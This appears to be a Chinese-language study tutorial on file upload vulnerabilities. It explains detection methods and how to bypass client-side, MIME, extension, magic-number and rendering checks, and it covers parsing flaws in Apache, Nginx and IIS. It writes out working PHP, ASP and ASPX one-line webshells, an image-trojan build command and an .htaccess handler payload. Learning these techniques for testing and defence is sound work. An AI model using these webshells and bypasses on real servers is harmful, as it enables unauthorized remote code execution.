什么是文件上传漏洞
凡是存在文件上传的地方均有可能存在文件上传漏洞,有文件上传就可以测试漏洞;
指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。
文件上传漏洞的时候看对方的代码是否写的比较完整、安全,疏忽了验证就会造成文件上传漏洞;
有文件上传的功能就可以去测试;


文件上传漏洞如何查找及判断
1.黑盒查找
扫描敏感文件,获取上传地址;
根据网站给出的应用,进入到网站后台也可以文件上传;
首先找到文件上传的窗口,然后判断是服务器端还是客户端的验证,客户端较容易判断出来,最后检验是哪种服务器端的过滤方式。判断是客户端和服务端检验,再检验是白名单还是黑名单,根据具体情况来决定采用什么绕过方式。
2.白盒查找
从对方的源代码里来分析漏洞;
文件上传漏洞有哪些需要注意的地方
拿到一个文件上传,对文件上传的类型做一个区分;确定文件上传的类型,采取这样的类型来去做测试;
文件上传产生漏洞的原因
- 服务器配置不当
- 文件上传限制被绕过
- 开源编辑器的上传漏洞
- 文件解析漏洞导致文件执行
- 过滤不严或被绕过
文件上传检测方式
一般一个文件上传过程中的检测方式有:
客户端JavaScript检测(检测文件扩展名)
服务端MIME类型检测(检测content-type内容)
服务端目录路径检测(检测跟path参数相关的内容)
服务端文件扩展名检测 (检测跟文件extension相关的内容)
服务端文件内容检测(检测内容是否合法是否含有恶意代码)
Webshell
常用的一句话木马
php一句话木马: <?php @eval($_POST[value]);?>
asp一句话木马: <%eval request("value")%>
aspx一句话木马: <%@ Page Language="Jscript"%><%eval(Request.Item["value"])%>
制作图片马
copy 1.jpg/b+1.php/a 2.jpg
Webshell原理
以PHP一句话木马为例
<?php @eval($_POST['cmd']); ?>
php的代码要写在 里面,服务器才能认出来这是php代码,然后才去解析。
@ 符号的意思是不报错,因为变量没有定义而被使用,服务器会提醒XXX变量未定义。
$_POST['cmd'];
php里面有几个超全局变量, $_GET、$_POST 就是其中之一,意思是用 post 的方法接收变量cmd传递来的字符。
eval()
把字符串作为PHP代码执行
system()
exec()
执行系统命令
文件上传绕过
绕过客户端检测(JS检测)
以 upload-labs 靶场第一关 chrome浏览器为例
关闭chrome 浏览器JS检测
在url地址栏输入:chrome://settings/content/javascript 添加需要关闭JS检测的网站
绕过服务端检测
服务端检测
服务端的代码通常检测三个点:MIME类型、文件内容、文件后缀
绕过MIME类型检测
常见MIME类型
超文本标记语言文本 .html text/html
普通文本 .txt text/plain
PDF文档 .pdf application/pdf
Microsoft Word文件 .word application/msword
PNG图像 .png image/png
GIF图形 .gif image/gif
JPEG图形 .jpeg,.jpg image/jpeg
au声音文件 .au audio/basic
MPEG文件 .mpg,.mpeg video/mpeg
AVI文件 .avi video/x-msvideo
GZIP文件 .gz application/x-gzip
原理:检测图片类型文件上传过程中http包的 Content-Type 字段的值,来判断上传文件是否合法。
方法:用burpsuite截取并修改数据包中文件的 content-type 类型进行绕过。
绕过文件后缀检测-黑名单
黑名单策略:
文件扩展名在黑名单中为不合法,一般有个专门的黑名单列表,里面会包含常见的危险脚本文件。
常见的绕过方法
1. 后缀大小写绕过:(.Php)
在对后缀的判断中,如果只是对字符串进行单独的比较来判断是不是限制文件,可以采用后缀名大小写绕过形式。
2. 空格绕过:(.php )
如果黑名单没有对后缀名进行去空处理,可以通过在后缀名后加空进行绕过。
3. 点绕过:(.php.)
如果黑名单没有对后缀名进行去.处理,利用Windows系统的文件名特性,会自动去掉后缀名最后的.,通过在文件名后加.进行绕过。
4. ::$DATA 绕过:
如果黑名单没有对后缀名进行去::$DATA处理,利用Windows下NTFS文件系统的一个特性,可以在后缀名后加::$DATA,绕过对黑名单的检测。
5. 双写绕过(.pphphp)
如果代码只是对php做一次删除,那么就可以时候pphphp来进行绕过,当检测到时,匹配的是中间的php,删除一次后变成php。
6. 配合Apache解析漏洞:
Apache解析有一个特点,解析文件时是从右往左判断,如果为不可识别解析再往左判断,如
aa.php.owf.rar文件,Apache不可识别解析‘.owf’和‘.rar’这两种后缀,会解析成.php文件。
7. .htaccess 文件
配合名单列表绕过,上传一个自定义的.htaccess ,就可以轻松绕过各种检测
.htaccess 文件(或者"分布式配置文件"),全称是Hypertext Access (超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。
比如新建一个.htaccess 文件:
<FilesMatch "png">
setHandler application/x-httpd-php
</FilesMatch>
绕过文件后缀检测-白名单
白名单策略:文件扩展名不在白名单中为不合法。
绕过方法:服务端判断文件类型是从后往前判断,而对文件解析是从前往后解析,可以利用00截断的方式进行绕过,包括%00截断与0x00截断。 php小于5.3.29
%00截断:
url发送到服务器后被服务器解码,这时还没有传到验证函数,也就是说验证函数里接收到的不是%00字符,而是%00解码后的内容,即解码成了0x00。
0x00截断:
系统在对文件名进行读取时,如果遇到0x00,就会认为读取已经结束。但要注意是文件的十六进制内容里的00,而不是文件名中的00。
绕过文件内容检测
一般通过检测文件内容来判断上传文件是否合法。
主要有两种检测方法:
- 通过检测上传文件内容开始处的文件幻数来判断。
通常情况下,通过判断前10个字节,基本就能判断出一个文件的真实类型。- 文件加载检测
一般是调用API或函数对文件进行加载测试。常见的是图像渲染测试,再严格点的甚至是进行二次渲染
文件幻数检测
主要是检测文件内容开始处的文件幻数
文件格式幻数(外语:magic number),它可以用来标记文件或者协议的格式,很多文件都有幻数标志来表明该文件的格式。
常见图片类型的文件幻数如下:
要绕过 jpg 文件幻数检测就要在文件开头写上下面的值:
Value = FF D8 FF E0 00 10 4A 46 49 46
要绕过 gif 文件幻数检测就要在文件开头写上下面的值:
Value = 47 49 46 38 39 61 可见字符:GIF89a
要绕过 png 文件幻数检测就要在文件开头写上下面的值:
Value = 89 50 4E 47
JPEG (jpg),文件头:`FFD8FF`
PNG (png),文件头:`89504E47`
GIF (gif),文件头:`47494638`
HTML (html),文件头:`68746D6C3E`
ZIP Archive (zip),文件头:`504B0304`
RAR Archive (rar),文件头:`52617221`
Adobe Acrobat (pdf),文件头:`255044462D312E`
MS Word/Excel (xls.or.doc),文件头:`D0CF11E0`
然后在文件幻数后面加上自己的一句话木马代码就行了。
文件加载检测
一般是调用API 或函数去进行文件加载测试,我们常见的是图像渲染测试,严格的进行二次渲染。
对渲染/加载测试的攻击方式是代码注入绕过
对二次渲染的攻击方式是攻击文件加载器自身
1、对渲染/加载测试攻击 - 代码注入绕过
可以用图像处理软件对一张图片进行代码注入
这类攻击的原理是:在不破坏文件本身的渲染情况下找一个空白区进行填充代码,一般是图片的注释区,这样能保证本身文件结构是完整的,对于渲染测试基本上都能绕过
2、二次渲染的攻击方式 - 攻击文件加载器自身
这种情况下无法用代码注入绕过,二次渲染相当于把原本属于图像数据的部分抓出来,在用自己的API或函数进行重新渲染,而非图像数据部分直接被隔离开了。
我们可以用溢出攻击对文件加载器进行攻击,上传自己的恶意文件后,服务器上的文件加载器会主动进行加载测试,加载测试时被溢出攻击执行shellcode。
解析漏洞
Apache解析漏洞
形式: test.php.qwe.asd ,任意不属于Apache解析黑名单且也不属于白名单的名称
原理:Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.qwe.asd ,“.qwe”和”.asd” 这两种后缀是apache不可识别解析,apache就会把 test.php.qwe.asd 解析成php。
条件:apache通过mod_php来运行脚本,其2.4.0-2.4.29中存在apache换行解析漏洞,在解析php时 xxx.php\x0A 将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略
Nginx解析漏洞
形式: 任意文件名/任意文件名.php
一个在任意文件名后面添加 /任意文件名.php 的解析漏洞,比如原本文件名是 test.jpg ,可以添加为 test.jpg/x.php 进行解析攻击。
原理:Nginx < 0.8.37默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置 SCRIPT_FILENAME 。当访问www.xx.com/phpinfo.jpg/1.php 这个URL时, $fastcgi_script_name 会被设置为phpinfo.jpg/1.php ,然后构造成 SCRIPT_FILENAME 传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到 fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑: PHP会认为SCRIPT_FILENAME 是 phpinfo.jpg ,而 1.php 是 PATH_INFO ,所以就会将phpinfo.jpg 作为PHP文件来解析了
漏洞形式:
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg.php
www.xxxx.com/UploadFiles/image/1.jpg/ \0.php
形式: 任意文件名%00.php
对低版本的 Nginx 可以在任意文件名后面添加 %00.php 进行解析攻击。(Nginx版本<=0.8.37空字节代码执行漏洞)
IIS 6.0解析漏洞
1、目录解析
原理: 服务器默认会把 .asp 目录下的文件都解析成asp文件。
2、文件解析
原理:服务器默认不解析;号后面的内容,因此 xx.asp;.jpg 便被解析成asp文件了。
IIS6.0 默认的可执行文件除了asp还包含这三种 :
/test.asa
/test.cer
/test.cdx
IIS 7.0/7.5解析漏洞
形式: 任意文件名/任意文件名.php
原理:IIS7.0/7.5 是对 php 解析时有一个类似于 Nginx 的解析漏洞,对任意文件名只要在 URL后面追加上字符串 /任意文件名.php 就会按照 php 的方式去解析
由于php配置文件中,开启了 cgi.fix_pathinfo ,而这并不是nginx或者iis7.5本身的漏洞。

参考链接: